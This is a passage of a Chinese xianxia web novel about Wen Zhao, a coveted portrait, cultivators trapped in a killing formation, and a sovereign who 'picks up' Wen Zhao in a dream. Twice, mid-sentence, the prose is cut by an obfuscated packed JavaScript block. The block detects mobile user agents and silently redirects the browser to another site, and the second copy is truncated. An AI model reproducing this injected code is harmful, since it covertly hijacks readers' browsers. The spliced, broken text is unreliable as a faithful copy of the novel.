温昭看着这个坑不由得无语,他不动声色抽出了自己的手,转移话题,随口道:“是谁找祈国太子交易的啊,一幅画而已,为什么不自己找?你看他找祈国太子,祈国太子又来找你们帮忙找,这样层层下包,如果不是你和师叔祖靠谱,不知道要找到何年何月。” 裴之炎扑哧一笑:“层层下包,这个说法有意思。” 二人散步在星月下,裴之炎手中一把折扇轻敲,道:“一国之主约莫日理万机抽不出时间吧。” “那祈国太子便是为大国国主找的一幅画,听说那是那位国主珍藏下来的最喜欢的一幅画,后来却被人从王宫中偷走,那国主找了许多年,才终于有点眉目,说是被那贼藏到了凡界的墓中。” “明日祈国太子的人来取了,便会送到大国王宫之中去。” 温昭脚步倏然一顿,却很快若无其事,没让裴之炎发现异常。 裴之炎含笑看着温昭:“曾经我也有点好奇,相传那大国国主也不是沉迷风月之人,竟然也会有放不下的美人。这个美人必定有什么不寻常之处。” 温昭脸色如常地搭话道:“是吗?你也想见那个美人?原来你也这么肤浅。” “无关风月,只是有点好奇罢了。”裴之炎拉着温昭胳膊,让他躲过一个形色匆匆的路人,而后在满地凉月中笑意深邃地温昭,“如今却连好奇也没有了,不值得我浪费时间。” 温昭心中忧愁顿时加深,心想,也不知道他是什么时候用潇洒的风姿迷了这个人的眼,真是让他忧虑。 二人走出几步,温昭却还是忍不住道:“可能也没什么不同寻常,可能还是个傻子,不值得好奇。” 裴之炎蓦然一笑:“怎么这么说?” 温昭慢吞吞道:“以己度人吧,我其实也长得挺美的。” 裴之炎:“……” 裴之炎摸了摸温昭的头:“看来该睡觉了,我们回去吧。” 温昭:“……” 南洲,秘境中。 灿灿星空下,四野无声,一地碎衣布料。 只见众天骄再次躲过一轮杀机后,身上的布料再次减少,众人神色凄楚而绝望,绝望中又抓心挠肝地把不远处的公仪无冽火热望着,个个欲言又止。 他们实在是太好奇方才那个幻影中的美人了,然而大家都拒不承认那个幻影中发生的事是真的,一口咬定是幻境。那自然幻境中出现的美人也该是虚幻的了。 可谁都心知肚明,那幻影到底是不是真的,以至于这会儿所有人都憋得难受。 想问又着实不好开口,唯一一个头铁闹着要知道美人下落的,还在地上昏迷着。 大家心中忧愁不已,就在这时,寂长檀忽然起了身,朝着公仪无冽走了过去。 大家不由得纷纷激动,亮闪闪着眼睛,眼巴巴看了过去。 听说不久前寂长檀在天泽宗提起过一个美人,还说林悠不能和那个美人相提并论,想来,寂长檀口中的美人约莫就是幻影中那个美人了。 众人思及此处,见着寂长檀走向公仪无冽,顿时如打了鸡血,目光灼灼将寂长檀望着。 顶着众人灼热目光,寂长檀面色严肃走到了公仪无冽身边。 星月下,公仪无冽一身玄紫衣袍,一只腿屈膝,坐在地上,手中一个玉白酒囊,有一口没一口面色冷淡喝着酒。 眼见着寂长檀走过来,公仪无冽连一个眼神都没给。 众人见了公仪无冽的神色,无不抽了抽嘴角。 这个人怎么能这么淡定的? 这个人怎么能见了方才幻影中的那位美人竟然也能无动于衷的? 是了,如果他不无动于衷,如今他的道侣也不会是林悠了。 这是好事啊!众人不由得看向寂长檀的目光更灼热了。寂兄给力点啊,一定要把美人的下落问出来啊! 寄托了在场所有天骄殷切希望的寂长檀,定定看了公仪无冽几眼,忽然伸手去扒公仪无冽的衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14398208|153143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服:“我看你没了这身衣服,你还有没有心情喝酒!” “哪个天才像你这样半个月都破不了阵的,你个废物,还不赶紧给我去破阵!” 公仪无冽:“……” 孟十柳:“……” 所有人:“……” 孟十柳从地上一跃而起,当场和寂长檀打在了一起。 众人就见这二人打着打着,被昏迷在地的画修绊倒在地。 摔在地上的两人也不起身,隔着画修你一脚我一脚踹来踹去打得你死我活,最终一人一脚踹在了画修左右脸上。 公仪无冽:“……” 寂长檀:“……” 孟十柳:“……” 所有人:“……” 被踹了的画修睁开了眼睛,悠悠转醒。 寂长檀和孟十柳神色一僵,猛然收脚,以电光火石的速度跑了。 醒来的画修摸着自己印着鞋印的脸,神色有片刻茫然,但也只茫然了片刻,他就好似想起了什么,眼神猛地一变,又从地上爬起来,朝着公仪无冽扑了过去。 画修神色痴狂:“美人呢,我的美人在哪里,我要给美人作画!” 当场被公仪无冽踹了出去,再次昏迷在地。 所有人:“……” 看着这鸡飞狗跳的画面,还是没有美人消息,众人觉得心累至极。 在心累时,又见一群遛鸟遛屁股的人辣眼睛地从某处黑暗中跑了过来。 来的人是另一群天骄,见了在场人后二话不说,就去扒地上这群人身上所剩无几的衣服。 所有人:“……” 星空下,顿时一阵骂声飘扬。 “草,你们还要不要脸了?” “他爷的,再给老子扒一下试试?” “住手,给老子住手听到没!” “畜生,一群畜生!” 在鸡飞狗跳中,只有一个修士没有动手去扒人衣服,而是张望了一番之后,先是看到林悠大喜,接着看到昏迷在地的画修大怒。 来人忙走过去,把昏迷在地的画修摇醒,面色愤怒:“你是不是又抢在我前面了?林道友同意让你作画了?” 这人便是画修的双胞胎哥哥薛决。 被摇醒的薛断脸色有点茫然,摇着头:“没有。” 薛决闻言,不由得大喜。 薛决语气不善:“那我们就凭本事竞争,你少给我耍阴谋诡计。” 薛决生怕薛断和他抢,连忙走到了林悠身边,和先前的薛断如出一辙,张嘴闭口就是要给林悠作画。 林悠的脸色从方才幻影出现后就一直苍白着,此刻看着薛决,勉强扯出一抹笑意道:“这位道友不好意思,我觉得如今我们的当务之急是先从这里出去。” 薛决连忙道:“我知道我知道,可我也不会阵法,这种事还是交给会做人的去做。” 孟十柳和寂长檀听着这话嘴角抽搐,不愧是双胞胎兄弟。 薛决打量着林悠,目露赞叹:“林道友不愧是七大洲第一美人,当真生了一张国色天香的……” 薛决的话还没说话,余光就扫到弟弟薛断发癫地扑向公仪无冽,被公仪无冽毫不留情踹晕在地。 薛决:“……” 薛决看了看昏迷在地的薛断,又看了看公仪无冽,当即愤怒地撸袖子,朝着二人走了过去。 薛决愤怒地拖走了地上的薛断,拖到了一个离公仪无冽远一点的地方扔下。而后又跑回林悠身边,接着赞叹道:“林道友当真生了一张国色天香的容貌,在下若是能为林道友作上一幅画……” 所有人:“……” 谁知薛决这话还没说完,余光再次扫到薛断醒来发着癫扑向公仪无冽,被公仪无冽踹晕在地。 薛决:“……” 薛决再次愤怒地跑了过去,把薛断拖得更远了一点。 所有人:“……” 而这一次,薛决还没有走到林悠身边,薛断再次醒来,眼见着又要发着癫扑向公仪无冽。薛决怒火浇头,一个转身,一巴掌抽到薛断脸上:“你发什么疯?” 薛断捂着脸:“美人,他知道美人!” 薛决怒不可遏:“废话,林道友不就是他道侣吗?他还能不知道他美不美?” 薛断摇着头:“不是,不是这个美人!” 薛断说着又要扑向公仪无冽,薛决忽然跳起,一脚把他踹晕在地。 薛决看着晕倒在地上的弟弟:“被外人打,不如被我打。” 所有人:“……” 薛决打晕了薛断,看了看寂长檀,又看了看孟十柳,目光落在公仪无冽身上:“谁能告诉我,我弟弟是怎么疯了的?” 这一刻,听见薛决话的人都不约而同沉默了。 他们再次想到了幻影中的美人。 这要怎么说,说你弟弟因为见到了一个惊世大美人为此疯了的? 这说出去薛决能信吗?毕竟他们也只是看到了一个幻影。 此刻林悠看着昏迷在地的薛断脸色越发苍白,他咬着唇看向公仪无冽。 公仪无冽自顾自喝着酒,还是懒得给在场所有人眼神。 薛决等了一会儿,见没人回答,于是将薛断拖到了林悠身边,由自己照看着。他一边费劲口舌让林悠同意他作画,一边薛断醒来一次他打晕一次,当真是兄弟情深至极。 所有人:“……” 两拔天骄汇合在了一起,双方为了争衣服,争得不可开交,你死我活。 孟十柳看着这个画面, 只觉乌烟瘴气,眼不见心不烦跑去问公仪无冽道:“师弟,你找到解决的办法了吗?” 孟十柳叹气:“莫非我们要一直被困在这个阵中?” 他这师弟去任何秘境都是速战速决,还从来没有被困这么久过。 其实孟十柳心中也觉得颇为奇怪,不少秘境对修士来说,里面充裕的灵气和天材地宝都是修行的绝佳之地。有些修士为了修行,在秘境中呆上几年几十年的都有,可是公仪无冽却不一样,他几乎不在秘境停留,常年呆在天泽宗的问道峰上,不怎么出天泽宗。 孟十柳心想,可能这就是公仪无冽选的修行之道,清修,苦修。然而他在同龄人中一骑绝尘的修为也证明了他选这条路并未出错,这是条适合他的修行之道。 可如今就是公仪无冽也无法解决这个杀阵吗? 孟十柳忧虑道:“我们被困阵中半月有余了,若是继续下去,没了灵气的支撑,身体迟早撑不住,可能很难撑过一轮轮的杀伐了。” 正在抢衣服的众人听了孟十柳的话,都不由得心生危机。 孟十柳感叹道:“接下来可能就要死人了。也不知道我们这群人中谁先死。” 所有人:“……” 众人被孟十柳说得汗毛倒竖,衣服也不抢了,纷纷看向公仪无冽。 孟十柳:“别看了,我们死光了他也不一定死。” 众人嘴角抽搐,他们是这个意思吗?分明是让公仪无冽赶紧想办法,他们年少有为,人生一片大好,还不想死啊! 被所有人火热的目光望着,公仪无冽不紧不慢仰头喝下一口酒,他双眼轻合。 是的,太久了。 他在这里耽搁太久了。 他不在他身边太久了。 他该回天泽宗了。 而他此行的事却还未完成。 公仪无冽将玉白酒囊挂回腰间,漫不经心抬头,扫了在场人一眼:“这是弥天朱雀阵。” 众人听闻这话,不禁面色大变。 有人白着脸,惊惧出声道:“弥天朱雀阵?” 弥天朱雀阵众人都是听闻过的,相传是上古大能留下来的阵法,入阵之人,管你是至尊还是大帝,实力越强,阵法越强,听说擅长阵法的天工门长老都没几个人能破这个阵,这个阵几乎成了必死之阵。 众人不禁脊背发寒,一脸绝望。天杀的,竟然让他们遇到了这个阵,这是天要亡他们啊。这个阵法,就是他们宗内长老来,也不一定能活着走出去,何况是他们。 向来沉稳的孟十柳也变了脸色,脸色难看:“师弟,你没有办法了吗?” 孟十柳心想,可能这次他这个天才师弟也真没办法了,不然凭他的性格也不会在这个阵里耗时良久。 寂长檀:“竟然是这个阵法,我说难怪你竟然成了个废物。行了,大家等死吧。” 所有人:“……” 禅宗弟子走到哪里都不受欢迎,不能怪其他人对他们有偏见。 薛决闻言,当即看向林悠:“林道友可否让我在死前,为你作上一幅画?” 众人嘴角抽了抽,还真是个画痴。大家不由得看向薛决身边的薛断。不知道是不是被亲哥打的原因,竟然把理智打回笼了,不过成了锯嘴葫芦,绝口不提他见过幻影中的美人,还私下里偷偷让他们不要向薛决提起美人一事,他要成为第一个为美人作画的画修,他要让美人在他的画中震撼七大洲。 众人心中实在一言难尽,确实如薛决说的,他这个弟弟会耍阴谋诡计,但不多,让他们闭口竟然也不知道送点礼。 在场之人得知这是弥天朱雀阵,一个个绝望得如丧考妣,气氛十分低迷。 而就在这时,公仪无冽抬眸看向头顶星穹,倏然嗤声一笑道:“倘若以为这样就能把我困住,那也太小看我公仪无冽了。” 草! 这话装比的! 所有人都激动了,激动地看着公仪无冽。 难道这都还能有办法? 真的假的? 不是他们不信任公仪无冽,是这个阵真的很变态,传说只有一个破阵之法…… 众人正想着,就见公仪无冽忽然起了身,他们连忙抬头看过去,这一看,就是面色一黑。 26. 捡的 温昭和裴之炎回到客栈时,师叔祖已经选好了接下来要刨的祖坟。不过他们明日可以休息,不用出工。 或许是裴之炎提到了大国国主的缘故,这一晚,温昭做了一个梦,梦中再次回到了六十八年前。 云层里白云朵朵,天上有明亮的光线浮影掠金,远方树荫婆娑,摇曳的花丛里大片大片不知名的白色花朵盛开,一枝一枝在枝头飘动。 温昭一身雪白衣袍,如瀑青丝垂在身后,他神色茫然地望着四周陌生的景色,在风中瞪直了眼睛。 他和公仪无冽刚刚吵了架,在灵舟上时,他一句话都没和对方说,他等着对方来道歉。 然而当灵舟到了地方,他随着公仪无冽下来找一株灵药,可一扭头对方就不见了。 还等着人道歉的温昭:“……” 温昭茫然四顾,这是什么地方?公仪无冽呢? 公仪无冽难道把他扔下,自己一个人坐灵舟跑了? 不,不可能,明明这次就是对方的错。 温昭按捺住心中的失措,找了块石头,坐在了石头上,他就这么等在这四野无人的花影婆娑间,等那个人出现。 头上的日光一点点向西落去,金霞朵朵开在云层,洒下暮色苍茫光辉。 温昭坐在石头上,面色看似很镇定,可是只有他知道,心中又委屈又害怕。 跟着公仪无冽的这些日子,温昭已经知道这些地方一花一木都可以夺人性命,所以他没有敢乱走,也没有敢乱动。 他等着他,他不信他就这么把他扔了。 他怎么敢把自己扔了,明明就是他的错! 温昭生着闷气等人,可是等了很久,等到月上柳梢,他还是没有见到那个人,这个鬼地方还是只有他一个人。 寒风中,温昭将自己缩在一块大石头的背面,心中愤怒道,他最多再等一天,他再不来他就生气了,他就罪加一等了。 温昭从怀中摸出了一颗辟谷丹吃下。 上次差点被饿死后,公仪无冽给他买了很多辟谷丹。一颗辟谷丹可以管十日,他怀中有满满一瓶,饿死是饿不死了。可是一日后,温昭瞪着除了他依然空无一人的花丛山野。 温昭愤怒地从石头上站起了身,接着换了个姿势又坐下。 温昭愤怒地想,他真的最多再等一天了。 他再不来,他就再也不理他了,怎么道歉都不会理他了。 温昭在心中发着窝囊气,心道,公仪无冽他最好识相点。 三日后,温昭坐在石头上,四下依然空寂无人,他浓丽的眉眼怒火翻滚瞪着花丛里盛开得炫目的白花。 公仪无冽还是没出现。 温昭:“……” 温昭将脚边一块小石头当成公仪无冽踢了出去。 一连踢了十几块石头,温昭又怒着磕了几颗辟谷丹。 温昭又等了几日,实在等得愤怒又委屈又无聊,广播体操跳了,舞也跳了好几支,蚂蚁观察了好几对,给蚂蚁唱歌唱了好几首,骂公仪无冽也骂了无数遍,就这还没把人等来,真是绝了。 这说明什么? 说明对方的修为还是个垃圾,急需提高,难道还没发现他人不见了吗? 忽然有细雨从天上飘落,温昭没有伞,那雨打在他的身上,明明没有很冷,可却让他浑身冰寒。 温昭摘了一块大叶子,手握着叶子的根茎,背靠着大石,在叶子下面躲着雨。 随着这场飘落的雨,温昭心中也像落了一场大雨,他整个人神色茫然,目光怔怔望着天空小雨淅沥,远出山色空蒙。 如果,如果他真的以后都不出现了。 如果他不管等多久,都再也等不到他。 一股痛楚和酸涩蓦然涌上心头,温昭死死咬着唇。 眼前忽然出现一截玄色衣摆。 温昭看着这截衣摆,心中的委屈顿时如山洪暴发,心中的害怕也悄然消失。 温昭没有开口说话,高贵冷艳着。 他一定要对方给他道歉。 可是对方却迟迟没说话。 好哇,让他等了这么多日,还要他去哄他不成? 温昭心想,行啊,比耐力是吧,他一千五百米长跑可是能一口气跑下来的。 温昭垂眸,数起了地上绿草的叶子。 一片,两片,三片,四片…… 就这么过了好一会儿,四下还是静寂无声。 温昭:“……” 温昭心道,这个人绝了,以后有老婆,老婆肯定要被他气跑。 温昭眼含怒火,抬起头来:“公仪无冽你不要太过分了……” 可是抬头后,温昭却愣了,止住了声。 面前的人不是公仪无冽。 玄色衣袍如一株古藤缠绕上高大的身影,来人撑着一把青竹伞,发丝高挽在身后,五官轮廓极其冷峻锋利,如出了鞘的寒刃,低垂眼眸看着温昭,眉眼透出侵略性十足的危险,气势迫人。 男人挑着眉:“瞧孤捡到了一只什么?” 温昭:“……” 温昭握着遮雨的叶子默默起身,朝后退去,然而他的身后就是大石,根本退无可退,退了两步便被石头挡住了后退的脚步。 温昭后退,眼前高大的男人却撑着伞,朝着温昭一步步走近。玄色金色边靴子踩在草地上,无声却胜有声,仿佛一步步踩在温昭紧张的呼吸上。 随着这人一步步靠近,温昭控制不住地汗毛倒竖,这人给他的感觉就像他第一次遇见公仪无冽时。 青竹伞下,男人深邃压迫感十足的目光停留在温昭脸上,眼眸深沉,意味不明地一笑:“千机宗的神棍说孤近日不宜出门,不然就要倒大霉。” “看来这大霉应该就是说的你了。” 温昭:“……” 哪里来的神经病,会不会说人话? 温昭不动声色,很有骨气地和对方对视,看起来丝毫不怵,心中却紧张地摇人,该死的公仪无冽怎么还不来,他真的要生气了。 男人:“叫什么名字?” 温昭不说话。 男人:“是个哑巴?” “……”你才是哑巴,温昭心中骂了脏话,还是没吭声。 男人:“哑巴正好,孤最讨厌人烦了。” “过来。” 温昭:“……” 温昭想到自己等了好几日都没有等到公仪无冽,虽然眼前这人是个一看就惹不起的人,可温昭还是没忍住,大发脾气……转身就跑。 然而他才跑出一步,就被来人抓住胳膊,狠狠扯进怀中,那人一只手撑伞,一只手将他用力扣在怀中。 温昭双手被对方一只手扣住,宛如被一只铁臂箍住,他只能伸脚去踹对方的腿,可对方连眉毛都没动一下,人也纹丝不动,他仿佛一脚踹在了空气上。 温昭真的服气了,明明他的力气不算小,可在这个变态的地方他还是人,这些人已经不是人了。 男人一只手扣着温昭的腰,目光落在他的脸上,笑得肆意:“就这点力气,比孤养的灵宠都不如。” 温昭:“……” 不是,拿人跟宠物比,您是怎么想的呢? 温昭心中冷笑,抬腿就去踢男人的痛处,而后踢了个寂寞,对方还是面色不变,甚至眼带戏谑看着温昭。 温昭给这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“孤在自己的地盘捡到的东西,那便就是孤的。” 温昭:“……” 你全家都不是东西,你这属狗的圈地是吧? 这么大一座山,你说是你的就是你的了? 后来温昭才知道,这座山的确是对方的,那是大国的御花园之一。 他也是倒了八辈子霉,跟着公仪无冽下了灵舟后,一脚踩到了一个类似传送阵的东西,一下就把自己传送到了大国的御花园。大国的御花园不但设置有结界,而且非大国的国君允许,其他人都不得踏入。以至于公仪无冽追踪他的去向就追踪了好几日。 次日,温昭在金塘城晨曦的微光中醒来,被师叔祖和裴之炎叫去吃早饭。 裴之炎昨日说,今日祈国太子的人就要派人来取走画。 温昭吃着早饭不由得有些叹息,早知道他当年就该在灵舟上呆着不下去了,为什么他生气了还要帮那人下去找灵药呢?否则也不会有后来那些事了。 真是越想越生气,于是温昭愤怒地吃着早饭,一口气吃得师叔祖和裴之炎放下了手中筷子,沉默地看着他。 师叔祖:“小昭,今日不用刨坟。” 裴之炎从温昭碗中夹走了几个饺子:“待会饿了再点,吃这么多,撑着了,明日就刨不了坟了。” 温昭:“……” 吃完饭没一会儿,传说是祈国太子的人便到了。 27. 哭了 长廊上几株檀微花攀着墙角花开缤纷,云层里日光似融了深潭的碧蓝,映下一地的微光凉影。 那祈国太子的人如一丛黑色流云,擦着窗沿上绿意幽然的一支藤蔓,飘然而至,落在房中。 来人一把黑色长剑负在身后,面色十分寡淡,丢在人群中就如水入溪流,完全不起眼的长相,完全不起眼的穿着打扮。 因着先前听到的关于祈国的一些事迹,温昭还以为这祈国太子的人可能出场会让人觉得平地一声雷,令人不是大吃一惊就是大吃几惊,未曾想到是如清风徐来,掀不起一丝涟漪。 温昭望着这个丝毫不起眼,理论上来说,他应当从没有见过的人,却不知为何,莫名有一丝熟悉的感觉。 然而不等温昭有更多的感觉,那祈国太子的人已经接过画,又从窗口踏着风离去了。 温昭看着他消失的窗口,神色有几分怔然。 裴之炎用折扇敲了敲桌面,含笑道:“在想什么?” “没什么。”温昭回过神来,“我就是在想为什么他不走门口,要走窗口,是因为显摆他有武功是吗?” 裴之炎:“……” 师叔祖:“……” 这个话题就此结束。 因着今日不用出门刨人祖坟,吃过早饭后,温昭便打算参加一下客栈的免费抽奖。 他们入住的客栈对面新开了一家客栈,近些日子,两家客栈为了抢夺客源打破了头。 温昭入住的这家客栈,老板今日在客栈外面做免费抽奖,免费力度很大,在客栈消费满三十铢钱,便可以参加抽奖送三十斤猪肉,外加两只烤鸭。 与此同时,对面新开的客栈也在外面做优惠抽奖,同样在客栈消费满三十铢钱,便可以抽奖得十八斤牛肉,外加三只烤鸡。 眼瞧着两家客栈竞争,有优惠可以拿,大家都很高兴。是以大家很快在两个台子前排起了队,不一会儿就排起了长长的队形。 温昭吃过早饭下去时,两边的队伍人数都不算少了。 本来依照温昭的打算,料想师叔祖和裴之炎二人财大气粗也不缺这点肉吃,于是他本打算自己挑一个队伍排队,师叔祖和裴之炎可以出门去逛街,等他们逛街回来后,他大约也抽上奖了。 然而师叔祖告诉温昭,他看见两边的抽奖箱都动了手脚,获奖的小纸条卡在了抽奖箱特殊的位置,不是事先知情的人根本抽不到。 温昭:“……” 温昭愤怒了,愤怒地拜托师叔祖帮忙排队,他决定把两边的奖都给抽了。 师叔祖:“……” 裴之炎:“……” 裴之炎扑地一笑:“我还以为你要去举报。” 温昭看着他,心想,他又不是傻的,举报对他有什么好处么。举报后不仅无法抽奖,约莫还得被打出客栈。 在温昭的拜托下,师叔祖帮忙去排起了抽猪肉和烤鸭的队伍,裴之炎则主动地陪着温昭排起了抽牛肉和烤鸡的队伍。 结果由于裴之炎的加入,令师叔祖那支队伍的许多人纷纷转而跑来温昭这支队伍排起了队,若是正常排队温昭也无话可说,偏偏他们纷纷插队,且专插在温昭的前面,就为了偷看裴之炎。以至于温昭排了好一会儿,不仅没有前进一步,反而位置越发靠后,眼见着排上一天约莫都排不到台子边。 温昭:“……” 温昭再次愤怒了,愤怒地要把裴之炎赶出队伍,让他去师叔祖那边排队。 裴之炎眼带揶揄看着温昭,笑着道:“不应该把插队的人赶出去么?” 温昭看着他,心累道:“我同意你去赶。” 裴之炎眸中笑意加深,正打算说点什么,面色却是一顿。 温昭察觉到了他神色的异样,不禁问道:“怎么了?” 裴之炎很快便神色如常,摇了摇头:“没什么,要去处理一点小事罢了。” 他摸了摸温昭的头,唇角含笑道:“好了,这下不用你赶,我自动退出队伍。你好好排队,今日午时我们就吃牛肉和烤鸡。” 说罢,裴之炎在一地芳心粉碎中翩然离去。 果然随着裴之炎的离去,不喜欢吃牛肉和烤鸡的许多人又跑回了师叔祖那支队伍排队。以至于温昭很是高兴地往前移动了许多个位置,摩拳擦掌,势必今日要把这个奖给抽了。 金塘城,某处巷子里。 青瓦色的墙开出悠悠扬扬的粉白絮花,落在墙头,地面,似下了一场鹅毛大雪。 巷子中,此刻静静停着一辆仿佛发着光的高大马车,此车通体白如灵玉,奢华精美,一看便是不凡之物。 在马车边上,无声矗立着一个看不清容貌浑身裹在黑袍里的人,有强势磅礴的威压从黑袍人身上传来。 在马车的不远处,一人嘴角溢出丝丝血迹,正执剑单膝跪在地上,目光紧紧盯着面前的马车,神色充满了戒备。 这人赫然正是方才在客栈取画的祈国太子的人。 只见黑袍人掌心一抬,霎时便有一道浑厚的灵力朝着跪在地上的年轻人打去,光泽涌动间,那地上的年轻人再也承受不住,口中吐出一片鲜血。 与此同时,从他身上飘然而起一幅画,朝着黑袍人的掌心飞去。 那黑袍人得了画,对着马车沉沉一声道:“到手了。”光是这道声音便仿若有万钧之力,使得周遭空气在挤压下颤颤波动。 听闻黑袍人的话,那华贵异常的马车里,倏然传出一道高傲之声,那声音似是带着笑意,却更有彻骨的寒意:“这么多年过去了,他还在找那个人,在找那个人的画。如今我倒是要看看这画里的人长了什么狐媚模样,竟让他这么多年来念念不忘。” 马车里的人冷笑一声,旋即一只好看的手掀开白玉串成的帘子,只露出半个隐约的侧脸,是一张好看的美人脸,从黑袍人手中接过了画。 跪在地上的年轻人见状,立刻道:“奉劝阁下不要擅自乱动别人的东西。” 马车里的人不以为意,笑着道:“哦,我今日非看不可又当如何?” 马车里传来衣袍轻擦的声音,接着只听那人冷冷道:“一幅画他竟然也下了禁制,这么宝贝,我还当真是小瞧了他的情意。他还记得自己是一国之君吗?” 那人将画递给马车外的黑袍人,嗓音冰寒道:“打开它。” 黑袍人接过画,伸手在画上施展了几个法决,他翻手间,仿若有破碎之声从虚空传来,一阵撕裂声响之后,又将画递回了马车。 马车里的人接过画,冷声道:“七大洲第一美人他说不值得他出剑,不值得他出动隐士。” “我倒要看看这画中人,难不成就值得他出动隐士……” 这道声音未落,忽有一道灿烈的金光从巷子的另一端飞了过来。 一道轻扬而又寒冽的声音,伴随着这道金光而来。 “值不值得,阁下说了不算。若是动了这幅画,阁下今日怕是就走不出这金塘城了。” 那马车之人蓦然闻听此言,手中动作一顿。 马车旁,黑袍人抬眼见这道金光之强大耀眼,身形一动,立刻抬掌相接,旋即轰隆碰撞的声音浩荡响起,一片夺目的璀璨光芒自巷子中冲天而起。 金塘城终年缭绕的云雾都仿若在这道光芒下被驱散了,空气都好似在颤抖,抖出一片片波动的涟漪。 万丈光芒后,一道人影翩然落在了巷子中。夺目金光将来人的影子映在青瓦墙上,高大挺拔,似一株芝兰玉树。 见到来人,被打翻在地上的年轻人霎时从地上起身,擦了擦嘴角的血迹,恭敬地跪在来人身后,低头道:“属下办事不力。” 来人目光落在马车上,唇角含笑,眼中却并无笑意,轻慢道:“你修为还不足元婴,自然打不过这种老怪物。不必介怀,等着你主子打回来就行了。” 黑袍人:“……” 黑袍人一声轻喝:“小子狂妄!” 黑袍人一掌轰出,劈出更加惊天的光芒。 来人却不躲不闪,抬手相接,同样有一道炽盛的光芒自他手中而出。 两道光芒碰撞,似有无边浩瀚杀意通天彻地,倾压盖世,摧枯拉朽朝着周遭扫灭而去,万物都仿若在碰撞间消灭,惊天动地的震颤声响从空中一声接一声隆隆传来。 一掌之后,黑袍人收掌,开口时语气里带上了几分凝重:“没想到小小凡界藏龙卧虎,祈国太子殿下修为竟令人刮目相看。” 来人也收了掌,轻飘飘答道:“我也没想到大国第一美人,出现在凡界,却是为了一幅画大动干戈。” 巷子中有片刻的寂静。 寂静之后,那马车上垂落在四周的白玉珠帘蓦然退去,露出里面一个身着玄色衣袍的美人。 玄衣美人手中拿着画,脸上带着似笑非笑的冷然神色:“祈国的太子殿下还真是有闲情逸致,竟然放着国事不管,去帮人找一幅画。” 来人闻言,面色不变,语声悠悠道:“大国的第一美人不也无事,为了一幅画万里迢迢跋涉至此。” 那玄衣美人脸色更冰冷:“相传殿下琴棋书画诗词歌赋无不精通,未及弱冠时一幅画已价值连城,殿下画技造诣之高,难道就不好奇这幅画吗?” 来人果断道:“不好奇。” 玄衣美人:“……” 玄衣美人眉目抽动了一瞬,面色似有恼意:“不知他给了殿下什么好处,殿下若是将此画给我,我也必定不会亏待殿下。” 来人挑了挑眉,轻笑道:“我要的东西,阁下怕是给不起,还是不必了。” 语必,一道金光从来人手中释出,朝着马车而去。金光从那玄衣美人手中裹着画,将画带回来人手里。 手中的画蓦然被抢,玄衣美人一双美眸不甘地盯着画,良久,咬牙道:“我不信这画中人有传言中的容颜。” “倘若真有这样的人,怎么可能这么多年来我找不到他一丝踪迹。” “他若有着这样倾世的容颜,会甘心让天泽宗的弟子稳坐七大洲第一美人魁首那么多年?” “殿下说是与不是?” 来人拿着画,施施然看了玄衣美人一眼,道:“抱歉,这个答案我给不了阁下。” 半晌,玄衣美人收回目光,闭上眼睛,口中自言自语道:“算了,不就是一幅画,不看也罢。” “想来他不过是喜欢他,才那样说罢了。” 玄衣美人睁开眼睛,看着来人,玉雪容颜上终于攒出一点笑意:“今日多有叨扰,听说殿下觅得佳人,在此恭喜殿下了。他日殿下大婚,我再来祝贺。” 漫天粉白絮花纷扬飘舞在巷子里,随着玄衣美人最后一句话,那马车渐渐消融在空气中,连带着马车上的美人和黑袍人齐齐消失,仿若从未出现过。 玄衣美人消失后,来人弯腰将地上的年轻人扶起,摇了摇头道:“没想到这幅画还是个烫手山芋。” 年轻人问道:“主子打算怎么办?” 来人垂眸看了看手中的画,笑了笑:“自然是不当这个活靶子了。” 说罢,来人取出一块传音石,转瞬之间,便用灵力联系上了远在万里之遥的人,手中折扇轻摇,悠悠道:“你要的东西找到了,你还是自己派人来取,送货这趟生意我不接了。” 片刻后,一道低沉的声音自传音石里传了过来,响彻在这巷中:“不必派人,我亲自来取。” 来人闻言,神色有点意外,一怔,而后轻笑了一声:“不过一幅画而已,却让你亲自出马。看来不愧是让你出动隐士的美人,还真是情根深种。” “好,那我便在祈国恭候大驾了。” 在师叔祖的帮忙下,温昭成功抽到了两边客栈的免费大奖,不禁高兴得心花怒放。 然而客栈老板和伙计却当场落泪,揪着猪肉烤鸭牛肉烤鸡迟迟不放,后来和温昭好一番拉扯,在师叔祖威严的目光下,老板和伙计才强颜欢笑放了手。 此番中奖,对温昭来说,实在是一个值得分享的好消息。细算起来,他这几十年来别说中奖了,就是别人免费派发礼品他经常都是眼巴巴地等半天,结果等到最后,却只能等到冰冷无情的一句没了。 于是温昭拿出传音石,当即把中奖的好消息告诉了榆笙。 榆笙抽着嘴角恭喜了温昭,同时也分享了天泽宗的消息。 榆笙告诉温昭,说是他离开天泽宗后,百里雪孤去了大国之后又跑回来了天泽宗,要找公仪无冽决斗,弄得大家都很无语。 而后百里雪孤听说公仪无冽在南洲的秘境中,如今已经追去了南洲的秘境。 有师兄再次开设了赌局,押他们二人若是在秘境中打起来,会不会有谁被打死在秘境里。毕竟相传南洲那个秘境很是凶险,不过短短一两个月已经死了不少修士了。 这一次,大家纷纷压了公仪师兄会被打死在秘境里。 温昭:“……” 温昭抽着嘴角道:“为什么?” 榆笙沉痛的声音从传音石里传来:“因为公仪师兄是一个负心狂徒。如今大家被他伤了心,于是纷纷押他死。” 温昭:“……” 温昭躺在床上,差点被传音石砸了脸:“什么东西?” 